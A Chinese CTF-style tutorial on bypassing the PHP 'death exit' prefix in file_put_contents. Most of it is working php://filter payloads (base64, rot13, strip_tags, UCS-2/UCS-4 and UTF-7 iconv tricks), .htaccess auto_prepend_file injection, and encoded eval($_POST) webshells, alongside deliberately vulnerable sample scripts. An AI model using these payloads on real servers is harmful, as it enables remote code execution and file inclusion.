php的死亡绕过

file_put_content大概有三种情形出现;

1
2
3
file_put_contents($filename,"<?php exit();".$content);
file_put_contents($content,"<?php exit();".$content);
file_put_contents($filename,$content . "\nxxxxxx");

情况一

示例代码
f1.php

1
2
3
4
5
6
<?php
$filename=$_GET['filename'];
$content=$_POST['content'];
file_put_contents($filename,"<?php exit();".$content);

?>

base64编码绕过

这里需要将$content加了一个a,是因为base64在解码的时候是将4个字节转化为3个字节,不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”,所以补上一位就可以完全转化

1
2
3
4
5
<?php
$str="<?php phpinfo();?>";
$encode=base64_encode($str);
print($encode);
?>

png

rot13 编码绕过

ROT13 编码把每一个字母在字母表中向前移动 13 个字母。数字和非字母字符保持不变。

1
2
3
4
5
<?php
$str="<?php phpinfo();?>";
$encode=str_rot13($str);
print($encode);
?>

利用条件:
在PHP不开启short_open_tag时,php不认识<?cuc rkvg();这个字符串,当然也就不会执行了。
png

.htaccess的预包含利用

strip_tags() (php7.3后移除)函数剥去字符串中的 HTML、XML 以及 PHP 的标签。

利用 .htaccess的预包含文件的功能来进行攻破;自定义包含我们的flag文件

利用条件: flag文件的位置,和文件的名字

png

这里引用了string.strip_tags过滤器,可以过滤.htaccess内容的html标签,自然也就消除了死亡代码;$content即闭合死亡代码使其完全消除,并且写入自定义包含文件。

过滤器编码组合

strip_tags和base64

利用string.strip_tags可以过滤掉html标签,将标签内的所有内容进行删去,然后再进行base64解码,成功写入shell。
png

三个过滤器

本地没试成功

1
2
$filename=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=s1mple.php
$content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0dphpinfo();?>/resource=s1mple.php

具体看https://xz.aliyun.com/t/8163#toc-5

情况二

示例代码
f2.php

1
2
3
4
<?php
$content=$_GET['content'];
file_put_contents($content,"<?php exit();".$content);
?>

.htacess包含

1
f2.php?content=php://filter/write=string.strip_tags/?>php_value%20auto_prepend_file%20/flag%0a%23/resource=.htaccess

png

Base64

payload::

1
2
php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=s1mple.php
php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php

看起来顺理成章,进行拼接之后就是

1
<?php exit();php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php

然后会对其进行一次整体的base64-decode。从而分解掉死亡代码,但是有个小问题,当时我也有点不解,一直无法生成content;虽然文件创建成功,但是就是无法生成content。
原因:

‘=’在base64中的作用是填充,也就是以为着结束;在‘=’的后面是不允许有任何其他字符的否则会报错,有的解码程序会自动忽略后面的字符从而正常解码,其实实际上还是有问题的

去掉等号之过滤器嵌套base64

payload

1
php://filter/string.strip.tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php

发现可以生成文件,并且可以看到我们已经成功写入了shell;但是文件名确实有问题,当我们在浏览器访问的时候,会出现访问不到的问题,这里是因为引号的问题;那么如何避免,我们可以使用伪目录的方法,进行变相的绕过去;

改payload为此:

1
php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../phpinfo.php

我们将前面的一串base64字符和闭合的符号整体看作一个目录,虽然没有,但是我们后面重新撤回了原目录,生成phpinfo.php文件
png

去掉等号之直接对内容进行变性另类base64

1
f2.php?content=php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../phpinfo.php

这种payload的攻击原理即是首先直接在内容时,就将我们base64遇到的‘=’这个问题直接写在中进行过滤掉,然后base64-decode再对原本内容的<?php exit();进行转码,从而达到分解死亡代码的效果
png

rot13

1
f2.php?content=php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=phpinfo.php

png

convert.iconv

这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。 然而 我们可以留意到 iconv — 字符串按要求的字符编码来转换;
其用法:

1
2
iconv ( string $in_charset , string $out_charset , string $str )  
string 将字符串 str 从 in_charset 转换编码到 out_charset

usc-2

通过usc-2的编码进行转换;对目标字符串进行2位一反转;(因为是两位一反转,所以字符的数目需要保持在偶数位上)

1
2
3
4
<?php
$str='<?php @eval($_POST[y]); ?>';
echo iconv("UCS-2LE","UCS-2BE",$str);
?>

payload:

1
f2.php?content=php://filter/write=string.strip_tags/?>php_value%20auto_prepend_file%20D:\env\phpstudy_pro\WWW\flag%0a%23/resource=.htaccess

png

usc-4

活用convert.iconv。可以进行usc-4编码转化;就是4位一反转;类比可知,构造的shell代码应该是usc-4中的4倍数;

1
2
3
4
<?php
$str='<?php @eval($_POST["y"]); ?>';
echo iconv("UCS-4LE","UCS-4BE",$str);
?>

payload

1
f2.php?content=php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$"[TS)]"y>? ;/resource=phpinfo.php

png

utf-8与utf-7之间的转化

1
2
3
4
5
6
7
8
9
<?php
echo iconv("UTF-8","UTF-7","=");
echo "\n";
echo iconv("UTF-8","UTF-7","PD9waHAgcGhwaW5mbygpOz8+");
?>

//output:
//+AD0-
//PD9waHAgcGhwaW5mbygpOz8+-

这里发现生成的是+AD0-,然而经过检测,此字符串可以被base64进行解码;那也就意味着我们可以使用这种方法避免等号对我们base64解码的影响;我们可以直接写入base64加密后的payload,然后将其进行utf之间的转换,因为纯字符转换之后还是其本身;所以其不受影响,进而我们的base64-encode之后的编码依然是存在的,然后进行base64-decode一下,写入shell
payload

1
f2.php?content=php://filter/write=PD9waHAgcGhwaW5mbygpOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=phpinfo.php

png

情况三

f3.php

1
2
3
4
5
6
7
<?php
error_reporting(0);
$content=$_POST['content'];
$filename=$_GET['filename'];
file_put_contents($filename, $content."\njust_test");
highlight_file(__FILE__);
?>

这种情形一般考点都是禁止有特殊起始符和结束符号的语言,举个例子,如果题目没有ban掉php,那么我们可以轻而易举的写入php代码,因为php代码有特殊的起始符和结束符,所以后面的杂糅代码,并不会对其产生什么影响
png

所以这类问题的考点,往往在于我们没有办法去写入这类的有特殊起始符和结束符号的语言,往往是需要想办法处理掉杂糅代码的。

常见的考点是利用.htaccess进行操作;都知道,.htaccess文件对其文件内容的格式很敏感,如果有杂糅的字符,就会出现错误,导致我们无法进行操作,所以这里我们必须采用注释符将杂糅的代码进行注释,然后才可以正常访问。

这里对于换行符我们直接进行\n注释即可。然后再嵌入#注释符,从而达到单行注释就可以将杂糅代码注释掉的效果;载荷效果如下
png

参考文章:

file_put_content和死亡·杂糅代码之缘